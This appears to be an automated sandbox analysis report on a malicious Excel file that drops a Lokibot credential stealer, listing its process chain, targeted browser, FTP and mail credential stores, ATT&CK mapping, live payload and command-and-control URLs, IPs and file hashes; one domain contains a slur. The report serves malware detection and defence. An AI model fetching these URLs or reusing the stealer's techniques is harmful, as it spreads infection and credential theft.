Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe'
Source: C:\Users\Public\vbc.exe	Process created: C:\Users\Public\vbc.exe {path}

Source: vbc.exe, 00000005.00000002.2391902240.0000000000F20000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: vbc.exe, 00000005.00000002.2391902240.0000000000F20000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: vbc.exe, 00000005.00000002.2391902240.0000000000F20000.00000002.00000001.sdmp	Binary or memory string: !Progman

Source: C:\Users\Public\vbc.exe	Queries volume information: C:\Users\Public\vbc.exe VolumeInformation
Source: C:\Users\Public\vbc.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\secmod.db VolumeInformation
Source: C:\Users\Public\vbc.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\Public\vbc.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\cert8.db VolumeInformation
Source: C:\Users\Public\vbc.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\key3.db VolumeInformation

Source: C:\Users\Public\vbc.exe

Code function: 5_2_00406069 GetUserNameW,

Source: C:\Users\Public\vbc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information:

Yara detected Lokibot

Show sources

Source: Yara match	File source: 00000005.00000002.2391430230.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2196353588.0000000002648000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2196847340.0000000003C0A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 3040, type: MEMORY
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 2952, type: MEMORY
Source: Yara match	File source: 5.2.vbc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Show sources

Source: C:\Users\Public\vbc.exe	Key opened: HKEY_CURRENT_USER\Software\9bis.com\KiTTY\Sessions
Source: C:\Users\Public\vbc.exe	Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Users\Public\vbc.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\secmod.db
Source: C:\Users\Public\vbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\Public\vbc.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Users\Public\vbc.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\key3.db
Source: C:\Users\Public\vbc.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\cert8.db

Tries to harvest and steal ftp login credentials

Show sources

Source: C:\Users\Public\vbc.exe	File opened: HKEY_CURRENT_USER\Software\Far2\Plugins\FTP\Hosts
Source: C:\Users\Public\vbc.exe	File opened: HKEY_CURRENT_USER\Software\NCH Software\ClassicFTP\FTPAccounts
Source: C:\Users\Public\vbc.exe	File opened: HKEY_CURRENT_USER\Software\FlashPeak\BlazeFtp\Settings
Source: C:\Users\Public\vbc.exe	File opened: HKEY_CURRENT_USER\Software\Far\Plugins\FTP\Hosts

Tries to steal Mail credentials (via file access)

Show sources

Source: C:\Users\Public\vbc.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
Source: C:\Users\Public\vbc.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

Tries to steal Mail credentials (via file registry)

Show sources

Source: C:\Users\Public\vbc.exe	Code function: PopPassword
Source: C:\Users\Public\vbc.exe	Code function: SmtpPassword

Source: Yara match	File source: 00000005.00000002.2391430230.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2196353588.0000000002648000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2196847340.0000000003C0A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 3040, type: MEMORY
Source: Yara match	File source: 5.2.vbc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Exploitation for Client Execution13	Path Interception	Extra Window Memory Injection1	Disable or Modify Tools11	OS Credential Dumping2	Account Discovery1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Ingress Tool Transfer15	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Access Token Manipulation1	Deobfuscate/Decode Files or Information1	Credentials in Registry2	File and Directory Discovery2	Remote Desktop Protocol	Man in the Browser1	Exfiltration Over Bluetooth	Encrypted Channel1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Process Injection112	Obfuscated Files or Information41	Security Account Manager	System Information Discovery13	SMB/Windows Admin Shares	Data from Local System2	Automated Exfiltration	Non-Application Layer Protocol4	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Software Packing22	NTDS	Security Software Discovery211	Distributed Component Object Model	Email Collection1	Scheduled Transfer	Application Layer Protocol124	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Timestomp1	LSA Secrets	Virtualization/Sandbox Evasion2	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Extra Window Memory Injection1	Cached Domain Credentials	Process Discovery2	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Masquerading111	DCSync	System Owner/User Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Virtualization/Sandbox Evasion2	Proc Filesystem	Remote System Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Access Token Manipulation1	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Process Injection112	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
MV NAGOYA TRADER.xlsx	32%	Virustotal		Browse
MV NAGOYA TRADER.xlsx	25%	ReversingLabs	Document-Word.Trojan.Heuristic

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\svchost[1].exe	100%	Joe Sandbox ML
C:\Users\Public\vbc.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\svchost[1].exe	33%	ReversingLabs	Win32.Trojan.Wacatac
C:\Users\Public\vbc.exe	33%	ReversingLabs	Win32.Trojan.Wacatac

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
5.2.vbc.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen		Download File
4.2.vbc.exe.e80000.2.unpack	100%	Avira	HEUR/AGEN.1109526		Download File

Domains

Source	Detection	Scanner	Label	Link
begadi.ga	12%	Virustotal		Browse
chnesstdyqudusisabadassniggainthestfmv.ydns.eu	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://www.%s.comPA	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://chnesstdyqudusisabadassniggainthestfmv.ydns.eu/secure/svchost.exe	6%	Virustotal		Browse
http://chnesstdyqudusisabadassniggainthestfmv.ydns.eu/secure/svchost.exe	100%	Avira URL Cloud	malware
http://www.ibsensoftware.com/	0%	URL Reputation	safe
http://www.ibsensoftware.com/	0%	URL Reputation	safe
http://www.ibsensoftware.com/	0%	URL Reputation	safe
http://www.ibsensoftware.com/	0%	URL Reputation	safe
http://begadi.ga/chud/gate.php	13%	Virustotal		Browse
http://begadi.ga/chud/gate.php	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
begadi.ga	185.193.143.118	true	true	12%, Virustotal, Browse	unknown
chnesstdyqudusisabadassniggainthestfmv.ydns.eu	103.141.138.119	true	true	1%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://chnesstdyqudusisabadassniggainthestfmv.ydns.eu/secure/svchost.exe	true	6%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://begadi.ga/chud/gate.php	true	13%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.%s.comPA	vbc.exe, 00000005.00000002.2391988009.0000000002600000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	low
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.	vbc.exe, 00000005.00000002.2391988009.0000000002600000.00000002.00000001.sdmp	false		high
http://www.ibsensoftware.com/	vbc.exe, vbc.exe, 00000005.00000002.2391430230.0000000000400000.00000040.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
103.141.138.119	unknown	Viet Nam		135905	VNPT-AS-VNVIETNAMPOSTSANDTELECOMMUNICATIONSGROUPVN	true
185.193.143.118	unknown	Russian Federation		43830	DIGITALENERGY-ASRU	true

General Information

Joe Sandbox Version:	31.0.0 Red Diamond
Analysis ID:	332678
Start date:	21.12.2020
Start time:	08:31:47
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 23s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	MV NAGOYA TRADER.xlsx
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winXLSX@6/8@182/2
EGA Information:	Failed
HDC Information:	Successful, ratio: 29.4% (good quality ratio 26.3%) Quality average: 68.3% Quality standard deviation: 34.5%
HCA Information:	Successful, ratio: 96% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .xlsx Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): dllhost.exe HTTP Packets have been reduced TCP Packets have been reduced to 100 Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtCreateFile calls found. Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtEnumerateValueKey calls found. Report size getting too big, too many NtQueryAttributesFile calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
08:33:19	API Interceptor	67x Sleep call for process: EQNEDT32.EXE modified
08:33:22	API Interceptor	911x Sleep call for process: vbc.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
103.141.138.119	MV NEW WIND.xlsx	Get hash	malicious	Browse	wsdychnesqudusisabadassniggainthewsbkw.ydns.eu/secure/svchost.exe
	Payment list.xlsx	Get hash	malicious	Browse	wsdychnesqudusisabadassniggainthewsbkw.ydns.eu/secure/svchost.exe
	MT Tordis Knutsen_20CF18909.xlsx	Get hash	malicious	Browse	chnesstdyqudusisabadassniggainthestgls.ydns.eu/secure/svchost.exe
	MV CAPTAIN SEA.xlsx	Get hash	malicious	Browse	chnesstdyqudusisabadassniggainthestgls.ydns.eu/secure/svchost.exe
	MV Hyundai Voyager.xlsx	Get hash	malicious	Browse	chnesstdyqudusisabadassniggainthestgls.ydns.eu/secure/svchost.exe
	MV OCEAN CRYSTAL.xlsx	Get hash	malicious	Browse	wsdychnesqudusisabadassniggainthewsbkq.ydns.eu/secure/svchost.exe
	RFQ 12-20.xlsx	Get hash	malicious	Browse	chnessndyqudusisabadassniggainthesnoop.ydns.eu/secure/svchost.exe
	Soa.xlsx	Get hash	malicious	Browse	chnessndyqudusisabadassniggainthesnoop.ydns.eu/secure/svchost.exe
185.193.143.118	MT TBN.xlsx	Get hash	malicious	Browse	webtex.ga/akin/gate.php
	MV JIN SHENG SHUI.xlsx	Get hash	malicious	Browse	begadi.ga/kayo/gate.php
	7Ic3eiRuEv.exe	Get hash	malicious	Browse	begadi.ga/chud/gate.php
	tElBu1fWfG.exe	Get hash	malicious	Browse	begadi.ga/chud/gate.php
	MV TBN.xlsx	Get hash	malicious	Browse	webtex.ga/akin/gate.php
	MV NEW WIND.xlsx	Get hash	malicious	Browse	begadi.ga/chud/gate.php
	TMB-CI2006-003.xlsx	Get hash	malicious	Browse	begadi.ga/kayo/gate.php
	SecuriteInfo.com.ArtemisDED64E567DBA.exe	Get hash	malicious	Browse	webtex.ga/akin/gate.php
	SecuriteInfo.com.BehavesLike.Win32.Generic.hc.exe	Get hash	malicious	Browse	begadi.ga/kayo/gate.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
begadi.ga	MV JIN SHENG SHUI.xlsx	Get hash	malicious	Browse	185.193.143.118
	7Ic3eiRuEv.exe	Get hash	malicious	Browse	185.193.143.118
	tElBu1fWfG.exe	Get hash	malicious	Browse	185.193.143.118
	MV NEW WIND.xlsx	Get hash	malicious	Browse	185.193.143.118
	TMB-CI2006-003.xlsx	Get hash	malicious	Browse	185.193.143.118
	SecuriteInfo.com.BehavesLike.Win32.Generic.hc.exe	Get hash	malicious	Browse	185.193.143.118
	SecuriteInfo.com.Trojan.PackedNET.405.10494.exe	Get hash	malicious	Browse	176.118.165.175
	GlobalSuppl_RFQ_8W9.xlsx	Get hash	malicious	Browse	176.118.165.175
	AUEhcNNYn5.exe	Get hash	malicious	Browse	176.118.165.175
	2Q2RgXBORF.exe	Get hash	malicious	Browse	176.118.165.175
	PO_RFQ82920_GlobalSuppl_.xlsx	Get hash	malicious	Browse	176.118.165.175
	KOyrUyOISf.exe	Get hash	malicious	Browse	176.118.165.175
	XPjCFNIYA7.exe	Get hash	malicious	Browse	176.118.165.175
	7KHnPipjN9.exe	Get hash	malicious	Browse	176.118.165.175
	MV CAPTAIN SEA.xlsx	Get hash	malicious	Browse	176.118.165.175
	aquYBtxJYY.exe	Get hash	malicious	Browse	176.118.165.175
	_PO_8392_Globalsuppl_.xlsx	Get hash	malicious	Browse	176.118.165.175
	SecuriteInfo.com.Trojan.PWS.Stealer.29680.21070.exe	Get hash	malicious	Browse	176.118.165.175
	MV Hyundai Voyager.xlsx	Get hash	malicious	Browse	176.118.165.175
	12U72AeB5B.exe	Get hash	malicious	Browse	176.118.165.175

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
VNPT-AS-VNVIETNAMPOSTSANDTELECOMMUNICATIONSGROUPVN	SKM_C258201001130020005057.exe	Get hash	malicious	Browse	103.99.1.128
	Order Acknowledgement - 133410.xlsx	Get hash	malicious	Browse	103.125.191.187
	MT TBN.xlsx	Get hash	malicious	Browse	103.141.138.122
	New Import and Export Regulation.xlsx	Get hash	malicious	Browse	103.141.138.118
	MV JIN SHENG SHUI.xlsx	Get hash	malicious	Browse	103.141.138.123
	fdwv4hWF1M.exe	Get hash	malicious	Browse	103.78.94.94
	MV TBN.xlsx	Get hash	malicious	Browse	103.141.138.122
	MV NEW WIND.xlsx	Get hash	malicious	Browse	103.141.138.119
	Quotation Doc Invoice.xlsx	Get hash	malicious	Browse	103.125.191.187
	INVOICE AND PACKING LIST.xlsx	Get hash	malicious	Browse	103.125.191.5
	TMB-CI2006-003.xlsx	Get hash	malicious	Browse	103.141.138.123
	GlobalSuppl_RFQ_8W9.xlsx	Get hash	malicious	Browse	103.141.138.126
	Payment.jar	Get hash	malicious	Browse	180.214.236.99
	PO Request- 02201756801.xlsx	Get hash	malicious	Browse	103.125.191.229
	PT.Sari ContractPT.Sari Proforma.pda.xlsx	Get hash	malicious	Browse	103.125.191.187
	Payment list.xlsx	Get hash	malicious	Browse	103.141.138.119
	MAERSK KLEVEN V.949E.xlsx	Get hash	malicious	Browse	103.141.138.122
	Image16122020.exe	Get hash	malicious	Browse	103.99.1.128
	Xeron_Scan02117110021.exe	Get hash	malicious	Browse	103.99.1.128
	MT Tordis Knutsen_20CF18909.xlsx	Get hash	malicious	Browse	103.141.138.119
DIGITALENERGY-ASRU	MT TBN.xlsx	Get hash	malicious	Browse	185.193.143.118
	MV JIN SHENG SHUI.xlsx	Get hash	malicious	Browse	185.193.143.118
	7Ic3eiRuEv.exe	Get hash	malicious	Browse	185.193.143.118
	tElBu1fWfG.exe	Get hash	malicious	Browse	185.193.143.118
	MV TBN.xlsx	Get hash	malicious	Browse	185.193.143.118
	MV NEW WIND.xlsx	Get hash	malicious	Browse	185.193.143.118
	TMB-CI2006-003.xlsx	Get hash	malicious	Browse	185.193.143.118
	SecuriteInfo.com.ArtemisDED64E567DBA.exe	Get hash	malicious	Browse	185.193.143.118
	SecuriteInfo.com.BehavesLike.Win32.Generic.hc.exe	Get hash	malicious	Browse	185.193.143.118
	SecuriteInfo.com.Trojan.PackedNET.405.10494.exe	Get hash	malicious	Browse	176.118.165.175
	GlobalSuppl_RFQ_8W9.xlsx	Get hash	malicious	Browse	176.118.165.175
	SecuriteInfo.com.Trojan.PWS.Siggen2.60864.9279.exe	Get hash	malicious	Browse	176.118.165.175
	SecuriteInfo.com.Trojan.PackedNET.405.12933.exe	Get hash	malicious	Browse	176.118.165.175
	Payment_Advice_pdf.exe	Get hash	malicious	Browse	176.118.165.175
	Enq2381813839_pdf.exe	Get hash	malicious	Browse	176.118.165.175
	PO Request- 02201756801.xlsx	Get hash	malicious	Browse	176.118.165.175
	Payment_Advice_pdf.exe	Get hash	malicious	Browse	176.118.165.175
	Enq2381813839_pdf.exe	Get hash	malicious	Browse	176.118.165.175
	Payment list.xlsx	Get hash	malicious	Browse	176.118.165.175
	MAERSK KLEVEN V.949E.xlsx	Get hash	malicious	Browse	176.118.165.175

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\svchost[1].exe Download File
Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	downloaded
Size (bytes):	584704
Entropy (8bit):	7.31402329860771
Encrypted:	false
SSDEEP:	12288:ek3fNrqcsXP04X8QGETcxAtAHp5LcPgKaIJVPfHAZ0xnJWBIlO+T2U7H:vfYJ/04XuE0Agp54PH
MD5:	3EE960D7D595C82B47CE28164AFED056
SHA1:	FD750607C392744A3302538C2A0B0FE810D199BB
SHA-256:	7596F11C31683CC9137672D261E19B4DD61952BAD97545080A1663AB475283B2
SHA-512:	F5432D376F7390C3A4EAD25CD167286FB9B99421354302AFF7739B30AB2DF825EAE16D05DE1308268DF27B60B01F8150A42707C7B6367A5D051E0AD443A49462
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 33%
Reputation:	low
IE Cache URL:	http://chnesstdyqudusisabadassniggainthestfmv.ydns.eu/secure/svchost.exe
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....V................0.................. ... ....@.. .......................`............@.....................................S.... .......................@....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H........................V...{...........................................].:....w..H.3...c.abf............%..........;x;x. @...o.p.1.........G.e..W..@+...Qx..".B.Y.\|^..C...3&..S..~........../......uv/@..iMM.%.....'.......=1.4z..\|.)..Q\.KU...M.A{.\|...;...51.F.lp..e..niy...C....U1\M.Ri......(..R?..EN.%....v~..l........#$...)J.B=.5.q...@U.G.....e..c.z....Zu...A.Wua)b.1...`..:<^...A\){...;...,...g..2.......?p{x@...D'.%..e`$x..hP........8O...VZ........#.ck.p-.T...V

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\3CDE7269.jpeg Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	gd-jpeg v1.0 (using IJG JPEG v80), quality = 90", baseline, precision 8, 700x990, frames 3
Category:	dropped
Size (bytes):	48770
Entropy (8bit):	7.801842363879827
Encrypted:	false
SSDEEP:	768:uLgWImQ6AMqTeyjskbJeYnriZvApugsiKi7iszQ2rvBZzmFz3/soBqZhsglgDQPT:uLgY4MqTeywVYr+0ugbDTzQ27A3UXsgf
MD5:	AA7A56E6A97FFA9390DA10A2EC0C5805
SHA1:	200A6D7ED9F485DD5A7B9D79B596DE3ECEBD834A
SHA-256:	56B1EDECC9A282A9FAAFD95D4D9844608B1AE5CCC8731F34F8B30B3825734974
SHA-512:	A532FE4C52FED46919003A96B882AE6F7C70A3197AA57BD1E6E917F766729F7C9C1261C36F082FBE891852D083EDB2B5A34B0A325B7C1D96D6E58B0BED6C5782
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 90....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..R..(...(...(......3Fh.....(....P.E.P.Gj(...(....Q@.%-...(.......P.QKE.%.........;.R.@.E-...(.......P.QKE.'jZ(...QE..........h...(...QE.&(.KE.'jZ(...QE..........h...(...QE.&(.KE.'jZ(...QE..........h...(...QE.&(.KE.'j^.....(...(...(....w...3Fh....E......4w...h.%...................E./J)(......Z)(......Z)(....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\9981CA08.emf Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	1099960
Entropy (8bit):	2.015316229530797
Encrypted:	false
SSDEEP:	3072:qXtr8tV3Iqf4ZdAt06J6dabLr92W2qtX2cy:oahIFdyiaT2qtXw
MD5:	B40BF8F31F83A568F9E58B72151B217F
SHA1:	46673DEEFAB7DC50094AA9B090EB74CCB1809F61
SHA-256:	3F4B8A687BC4A0FF42F0FEB2E1195C57B437F77FE956FCA4D76851685D7E1A8A
SHA-512:	57528718DF801D37374A2E5BD77F29A9A1CF84161D71E17345B83F2769D64695687DD06CE82C814E16208BB0F89EE13D15100A5D2DB495D653F72223D367328B
Malicious:	false
Reputation:	low
Preview:	....l...........S................@...%.. EMF........&...............................................\K..hC..F...,... ...EMF+.@..................X...X...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..............................................I.......%...........%...................................R...p................................@."C.a.l.i.b.r.i........................................................................N.T.....................N.T........ ....y.Q........ ............z.Q............_...............................X...%...7...................{ .@................C.a.l.i.b.r.................X.......D....2.Q.................{.Q............dv......%...........%...........%...........!.......................I......."...........%...........%...........%...........T...T..........................@.E.@T...........L...............I.......P... .t.6...F..........EMF+@..$..........?...........?.........@...........@..........@..$..........?....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\E522A556.jpeg Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	gd-jpeg v1.0 (using IJG JPEG v80), quality = 90", baseline, precision 8, 700x990, frames 3
Category:	dropped
Size (bytes):	48770
Entropy (8bit):	7.801842363879827
Encrypted:	false
SSDEEP:	768:uLgWImQ6AMqTeyjskbJeYnriZvApugsiKi7iszQ2rvBZzmFz3/soBqZhsglgDQPT:uLgY4MqTeywVYr+0ugbDTzQ27A3UXsgf
MD5:	AA7A56E6A97FFA9390DA10A2EC0C5805
SHA1:	200A6D7ED9F485DD5A7B9D79B596DE3ECEBD834A
SHA-256:	56B1EDECC9A282A9FAAFD95D4D9844608B1AE5CCC8731F34F8B30B3825734974
SHA-512:	A532FE4C52FED46919003A96B882AE6F7C70A3197AA57BD1E6E917F766729F7C9C1261C36F082FBE891852D083EDB2B5A34B0A325B7C1D96D6E58B0BED6C5782
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 90....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..R..(...(...(......3Fh.....(....P.E.P.Gj(...(....Q@.%-...(.......P.QKE.%.........;.R.@.E-...(.......P.QKE.'jZ(...QE..........h...(...QE.&(.KE.'jZ(...QE..........h...(...QE.&(.KE.'jZ(...QE..........h...(...QE.&(.KE.'j^.....(...(...(....w...3Fh....E......4w...h.%...................E./J)(......Z)(......Z)(....

C:\Users\user\AppData\Roaming\CF97F5\5879F5.lck Download File
Process:	C:\Users\Public\vbc.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-966771315-3019405637-367336477-1006\f554348b930ff81505ce47f7c6b7d232_ea860e7a-a87f-4a88-92ef-38f744458171 Download File
Process:	C:\Users\Public\vbc.exe
File Type:	data
Category:	dropped
Size (bytes):	32430
Entropy (8bit):	0.6025336819236282
Encrypted:	false
SSDEEP:	12:seeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeh:i
MD5:	1A3D31826F727A043FE4CC0C448264C3
SHA1:	B9D22C89F4678CBCFB9020F0344FE88449566C0F
SHA-256:	02CAC96B35CDFFA917839EFF306896676F0A8CC4B003962FEF0FF8DC773125CB
SHA-512:	1E32EC6515B98C3BE70BC251B29F4F66DC136CCEC4E30726EDAE365438AEF1AA5FB0E7147DD57A765815D72142055F23E5FE96DD2F3B91909BA305AB817E7F78
Malicious:	false
Reputation:	low
Preview:	........................................user.......................................................................................user.......................................................................................user.......................................................................................user.......................................................................................user.......................................................................................user.......................................................................................user.......................................................................................user.......................................................................................user.......................................................................................user.......................................................................................user...................................

C:\Users\user\Desktop\~$MV NAGOYA TRADER.xlsx Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	330
Entropy (8bit):	1.4377382811115937
Encrypted:	false
